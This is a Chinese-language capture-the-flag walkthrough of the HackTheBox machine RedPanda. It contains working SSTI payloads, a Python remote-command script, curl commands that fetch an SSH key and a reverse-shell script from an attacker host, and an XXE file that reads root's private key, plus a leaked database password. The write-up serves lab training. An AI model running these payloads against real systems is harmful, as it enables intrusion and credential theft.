HTB靶机:RedPanda 靶机信息
这台靶机利用了XXE漏洞,在提权过程参考了大佬们的思路,总之很难想到。这台靶机思路大体是SSTI注入获取连接私钥,然后提权使用XXE来读取root用户的私钥。
过程 信息收集: rustscan -a 10.10.11.170 -- -sV -sC
靶机开放22和8080端口:
Nmap scan report for 10.10.11.170 Host is up, received conn-refused (0.24s latency). Scanned at 2022-07-26 01:50:06 EDT for 53s PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU= | 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A= | 256 18:cd :9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR 8080/tcp open http-proxy syn-ack | fingerprint-strings: | GetRequest: | HTTP/1.1 200 | Content-Type: text/html;charset=UTF-8 | Content-Language: en-US | Date: Tue, 26 Jul 2022 05:50:16 GMT | Connection: close | <!DOCTYPE html> | <html lang="en" dir ="ltr" > | <head > | <meta charset="utf-8" > | <meta author="wooden_k" > | <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw --> | <link rel="stylesheet" href="css/panda.css" type ="text/css" > | <link rel="stylesheet" href="css/main.css" type ="text/css" > | <title>Red Panda Search | Made with Spring Boot</title> | </head> | <body> | <div class='pande' > | <div class='ear left' ></div> | <div class='ear right' ></div> | <div class='whiskers left' > | <span></span> | <span></span> | <span></span> | </div> | <div class='whiskers right' > | <span></span> | <span></span> | <span></span> | </div> | <div class='face' > | <div class='eye | HTTPOptions: | HTTP/1.1 200 | Allow: GET,HEAD,OPTIONS | Content-Length: 0 | Date: Tue, 26 Jul 2022 05:50:16 GMT | Connection: close | RTSPRequest: | HTTP/1.1 400 | Content-Type: text/html;charset=utf-8 | Content-Language: en | Content-Length: 435 | Date: Tue, 26 Jul 2022 05:50:18 GMT | Connection: close | <!doctype html><html lang="en"><head><title>HTTP Status 400 | Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 |_ Request</h1></body></html> | http-methods: |_ Supported Methods: GET HEAD OPTIONS |_http-open-proxy: Proxy might be redirecting requests |_http-title: Red Panda Search | Made with Spring Boot 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8080-TCP:V=7.91%I=7%D=7/26%Time=62DF8097%P=x86_64-pc-linux-gnu%r(Ge SF:tRequest,690,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20text/html;charse SF:t=UTF-8\r\nContent-Language:\x20en-US\r\nDate:\x20Tue,\x2026\x20Jul\x20 SF:2022\x2005:50:16\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20htm SF:l>\n<html\x20lang=\"en\"\x20dir=\"ltr\">\n\x20\x20<head>\n\x20\x20\x20\ SF:x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20<meta\x20author=\"woode SF:n_k\">\n\x20\x20\x20\x20<!--Codepen\x20by\x20khr2003:\x20https://codepe SF:n\.io/khr2003/pen/BGZdXw\x20-->\n\x20\x20\x20\x20<link\x20rel=\"stylesh SF:eet\"\x20href=\"css/panda\.css\"\x20type=\"text/css\">\n\x20\x20\x20\x2 SF:0<link\x20rel=\"stylesheet\"\x20href=\"css/main\.css\"\x20type=\"text/c SF:ss\">\n\x20\x20\x20\x20<title>Red\x20Panda\x20Search\x20\|\x20Made\x20w SF:ith\x20Spring\x20Boot</title>\n\x20\x20</head>\n\x20\x20<body>\n\n\x20\ SF:x20\x20\x20<div\x20class=' pande'>\n\x20\x20\x20\x20\x20\x20<div\x20clas SF:s=' ear\x20left'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class=' ear\x20rSF:ight'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class=' whiskers\x20left'> SF:\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x SF:20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20\x SF:20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20</div>\n\x20\x20\x20\x SF:20\x20\x20<div\x20class=' whiskers\x20right'>\n\x20\x20\x20\x20\x20\x20\ SF:x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x SF:20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20</ SF:div>\n\x20\x20\x20\x20\x20\x20<div\x20class=' face'>\n\x20\x20\x20\x20\x SF:20\x20\x20\x20<div\x20class=' eye")%r(HTTPOptions,75," HTTP/1\.1\x20200\xSF:20\r\nAllow:\x20GET,HEAD,OPTIONS\r\nContent-Length:\x200\r\nDate:\x20Tu SF:e,\x2026\x20Jul\x202022\x2005:50:16\x20GMT\r\nConnection:\x20close\r\n\ SF:r\n")%r(RTSPRequest,24E," HTTP/1\.1\x20400\x20\r\nContent-Type:\x20text/ SF:html;charset=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x20435 SF:\r\nDate:\x20Tue,\x2026\x20Jul\x202022\x2005:50:18\x20GMT\r\nConnection SF::\x20close\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head ><title>H SF:TTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\x2 SF:0type=\"text/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20h1 SF:,\x20h2,\x20h3,\x20b\x20{color:white;background-color: SF:20{font-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14px SF:;}\x20p\x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{heigh SF:t:1px;background-color: SF:TP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></html SF:>"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Jul 26 01:50:59 2022 -- 1 IP address (1 host up) scanned in 56.89 seconds
访问8080端口
界面就一个框,这个站是spring boot尝试使用burp抓包进行分析,burp发现其存在Java SSTI注入;
参考:
https://www.cnblogs.com/CoLo/p/15507738.html
https://www.freebuf.com/articles/web/331653.html
http://rui0.cn/archives/1015
https://blog.mi-di.cn/archives/17392.html
https://blog.mi-di.cn/archives/56243.html
https://javamana.com/2021/11/20211121071046977B.html
这里我们测试发现,它过滤了$,然后可以使用# 或者*
绕过,并且*
可以成功执行命令实现SSTI注入。
然后可以使用大佬的脚本直接获取shell或者使用github上大佬的项目:
https://github.com/VikasVarshney/ssti-payload
这里我先使用的是大佬的项目:
将payload中$
改为*
进行url编码
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119 ).concat(T(java.lang.Character).toString(104 )).concat(T(java.lang.Character).toString(111 )).concat(T(java.lang.Character).toString(97 )).concat(T(java.lang.Character).toString(109 )).concat(T(java.lang.Character).toString(105 ))).getInputStream())}
%2A%7BT%28org%2Eapache%2Ecommons%2Eio%2EIOUtils%29%2EtoString%28T%28java%2Elang%2ERuntime%29%2EgetRuntime%28%29%2Eexec%28T%28java%2Elang%2ECharacter%29%2EtoString%28119%29%2Econcat%28T%28java%2Elang%2ECharacter%29%2EtoString%28104%29%29%2Econcat%28T%28java%2Elang%2ECharacter%29%2EtoString%28111%29%29%2Econcat%28T%28java%2Elang%2ECharacter%29%2EtoString%2897%29%29%2Econcat%28T%28java%2Elang%2ECharacter%29%2EtoString%28109%29%29%2Econcat%28T%28java%2Elang%2ECharacter%29%2EtoString%28105%29%29%29%2EgetInputStream%28%29%29%7D
然后我们直接尝试读取用户私钥或者反弹shell。(这里都是采用SSTI方式进行注入,都需要进行url编码
curl http://10.10.14.8/id_rsa.pub -o /home/woodenk/.ssh/authorized_keys chmod 600 /home/woodenk/.ssh/authorized_keys
curl http://10.10.14.8/reverse_shell.sh -o /tmp/reverse_shell.sh bash /tmp/revese_shell.sh
或者直接使用以下exp:
import requestsfrom cmd import Cmdfrom bs4 import BeautifulSoupclass RCE (Cmd ): prompt = "\033[1;31m$\033[1;37m " def decimal (self, args ): comando = args decimales = [] for i in comando: decimales.append(str (ord (i))) payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)" % decimales[0 ] for i in decimales[1 :]: payload += ".concat(T(java.lang.Character).toString({}))" .format (i) payload += ").getInputStream())}" data = { "name" : payload } requer = requests.post("http://10.10.11.170:8080/search" , data=data) parser = BeautifulSoup(requer.content, 'html.parser' ) grepcm = parser.find_all("h2" )[0 ].get_text() result = grepcm.replace('You searched for:' ,'' ).strip() print (result) def default (self, args ): try : self.decimal(args) except : print ("%s: command not found" % (args)) RCE().cmdloop()
通过三种方法我们可以获取shell,我使用的是第一种
同理,给下面哪个命令进行编码,进行注入,然后本地ssh登录
提权 这台主机提权很烦,不容易想到。
通过对靶机文件查看,发现数据库文件账号密码,考虑到可能有密码复用,测试发现,数据库密码和ssh密码一样。
使用ps
命令查看进程(目的和pspy64差不多
#文件 cat /opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java
我们使用pspy64和linpeas.sh进行提权枚举
运行后发现存在一个root进程回定期删除特定后缀文件
查看cleanup.sh
该脚本正在从我们可以编写的所有目录中删除带有jpg
和xml
扩展名的文件。让我们注意一下。接下来,我们知道应用程序是用 Java 编写的。我们可以尝试搜索这个应用程序的源代码,我们会找到名为 的文件MainController.java
。
package com.panda_search.htb.panda_search;import java.util.ArrayList;import java.io.IOException;import java.sql.*;import java.util.List;import java.util.ArrayList;import java.io.File;import java.io.InputStream;import java.io.FileInputStream;import org.springframework.stereotype.Controller;import org.springframework.ui.Model;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RequestParam;import org.springframework.web.bind.annotation.RestController;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.servlet.ModelAndView;import org.springframework.http.MediaType;import org.apache.commons.io.IOUtils;import org.jdom2.JDOMException;import org.jdom2.input.SAXBuilder;import org.jdom2.output.Format;import org.jdom2.output.XMLOutputter;import org.jdom2.*;@Controller public class MainController { @GetMapping("/stats") public ModelAndView stats (@RequestParam(name="author",required=false) String author, Model model) throws JDOMException, IOException{ SAXBuilder saxBuilder = new SAXBuilder (); if (author == null ) author = "N/A" ; author = author.strip(); System.out.println('"' + author + '"' ); if (author.equals("woodenk" ) || author.equals("damian" )) { String path = "/credits/" + author + "_creds.xml" ; File fd = new File (path); Document doc = saxBuilder.build(fd); Element rootElement = doc.getRootElement(); String totalviews = rootElement.getChildText("totalviews" ); List<Element> images = rootElement.getChildren("image" ); for (Element image: images) System.out.println(image.getChildText("uri" )); model.addAttribute("noAuthor" , false ); model.addAttribute("author" , author); model.addAttribute("totalviews" , totalviews); model.addAttribute("images" , images); return new ModelAndView ("stats.html" ); } else { model.addAttribute("noAuthor" , true ); return new ModelAndView ("stats.html" ); } } @GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE) public @ResponseBody byte [] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException { System.out.println("Exporting xml of: " + author); if (author.equals("woodenk" ) || author.equals("damian" )) { InputStream in = new FileInputStream ("/credits/" + author + "_creds.xml" ); System.out.println(in); return IOUtils.toByteArray(in); } else { return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r" ); } } @PostMapping("/search") public ModelAndView search (@RequestParam("name") String name, Model model) { if (name.isEmpty()) { name = "Greg" ; } String query = filter(name); ArrayList pandas = searchPanda(query); System.out.println("\n\"" +query+"\"\n" ); model.addAttribute("query" , query); model.addAttribute("pandas" , pandas); model.addAttribute("n" , pandas.size()); return new ModelAndView ("search.html" ); } public String filter (String arg) { String[] no_no_words = {"%" , "_" ,"$" , "~" , }; for (String word : no_no_words) { if (arg.contains(word)){ return "Error occured: banned characters" ; } } return arg; } public ArrayList searchPanda (String query) { Connection conn = null ; PreparedStatement stmt = null ; ArrayList<ArrayList> pandas = new ArrayList (); try { Class.forName("com.mysql.cj.jdbc.Driver" ); conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/red_panda" , "woodenk" , "RedPandazRule" ); stmt = conn.prepareStatement("SELECT name, bio, imgloc, author FROM pandas WHERE name LIKE ?" ); stmt.setString(1 , "%" + query + "%" ); ResultSet rs = stmt.executeQuery(); while (rs.next()){ ArrayList<String> panda = new ArrayList <String>(); panda.add(rs.getString("name" )); panda.add(rs.getString("bio" )); panda.add(rs.getString("imgloc" )); panda.add(rs.getString("author" )); pandas.add(panda); } }catch (Exception e){ System.out.println(e);} return pandas; } }
另外App.java中/opt/credit-score/LogParser/final/src/main/java/com/logparser/App.java
中,可以看到处理元数据的逻辑:
package com.logparser;import java.io.BufferedWriter;import java.io.File;import java.io.FileWriter;import java.io.IOException;import java.util.HashMap;import java.util.Map;import java.util.Scanner;import com.drew.imaging.jpeg.JpegMetadataReader;import com.drew.imaging.jpeg.JpegProcessingException;import com.drew.metadata.Directory;import com.drew.metadata.Metadata;import com.drew.metadata.Tag;import org.jdom2.JDOMException;import org.jdom2.input.SAXBuilder;import org.jdom2.output.Format;import org.jdom2.output.XMLOutputter;import org.jdom2.*;public class App { public static Map parseLog (String line) { String[] strings = line.split("\\|\\|" ); Map map = new HashMap <>(); map.put("status_code" , Integer.parseInt(strings[0 ])); map.put("ip" , strings[1 ]); map.put("user_agent" , strings[2 ]); map.put("uri" , strings[3 ]); return map; } public static boolean isImage (String filename) { if (filename.contains(".jpg" )) { return true ; } return false ; } public static String getArtist (String uri) throws IOException, JpegProcessingException { String fullpath = "/opt/panda_search/src/main/resources/static" + uri; File jpgFile = new File (fullpath); Metadata metadata = JpegMetadataReader.readMetadata(jpgFile); for (Directory dir : metadata.getDirectories()) { for (Tag tag : dir.getTags()) { if (tag.getTagName() == "Artist" ) { return tag.getDescription(); } } } return "N/A" ; } public static void addViewTo (String path, String uri) throws JDOMException, IOException { SAXBuilder saxBuilder = new SAXBuilder (); XMLOutputter xmlOutput = new XMLOutputter (); xmlOutput.setFormat(Format.getPrettyFormat()); File fd = new File (path); Document doc = saxBuilder.build(fd); Element rootElement = doc.getRootElement(); for (Element el: rootElement.getChildren()) { if (el.getName() == "image" ) { if (el.getChild("uri" ).getText().equals(uri)) { Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews" ).getText()) + 1 ; System.out.println("Total views:" + Integer.toString(totalviews)); rootElement.getChild("totalviews" ).setText(Integer.toString(totalviews)); Integer views = Integer.parseInt(el.getChild("views" ).getText()); el.getChild("views" ).setText(Integer.toString(views + 1 )); } } } BufferedWriter writer = new BufferedWriter (new FileWriter (fd)); xmlOutput.output(doc, writer); } public static void main (String[] args) throws JDOMException, IOException, JpegProcessingException { File log_fd = new File ("/opt/panda_search/redpanda.log" ); Scanner log_reader = new Scanner (log_fd); while (log_reader.hasNextLine()) { String line = log_reader.nextLine(); if (!isImage(line)) { continue ; } Map parsed_data = parseLog(line); System.out.println(parsed_data.get("uri" )); String artist = getArtist(parsed_data.get("uri" ).toString()); System.out.println("Artist: " + artist); String xmlPath = "/credits/" + artist + "_creds.xml" ; addViewTo(xmlPath, parsed_data.get("uri" ).toString()); } } }
通过以上阅读源码,,我们可以得到一个确定有一个_creds.xml
后缀文件和.jpg
的文件,然后尝试再找个图片里进行插入,然后触发xml XXE,
提权过程: 首先再本地写好恶意的图片马
和恶意的xml
文档,查询XXE利用详情,可知XXE经常被用来读取敏感信息,这里我们构造的恶意XXE就是去读取root用户的私钥。注意xml
文档必须名称包含_creds.xml
exiftool -Artist='../home/woodenk/le le.jpg
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///root/.ssh/id_rsa" > ]> <credits > <author > damian</author > <image > <uri > /../../../../../../../home/woodenk/le.jpg</uri > <hello > &ent; </hello > <views > 0</views > </image > <totalviews > 0</totalviews > </credits >
然后将写好的恶意文件,下载到目标机器上
然后发起一个请求,User-Agent注入url:
curl http://10.10.11.170:8080 -H "User-Agent: ||/../../../../../../../home/woodenk/le.jpg"
然后再去查看我们的XXE xml,已经得到了我们指定读取文件的内容:
然后将root用户的私钥保存到本地,进行连接。
总结
这台靶机提权漏洞很新颖。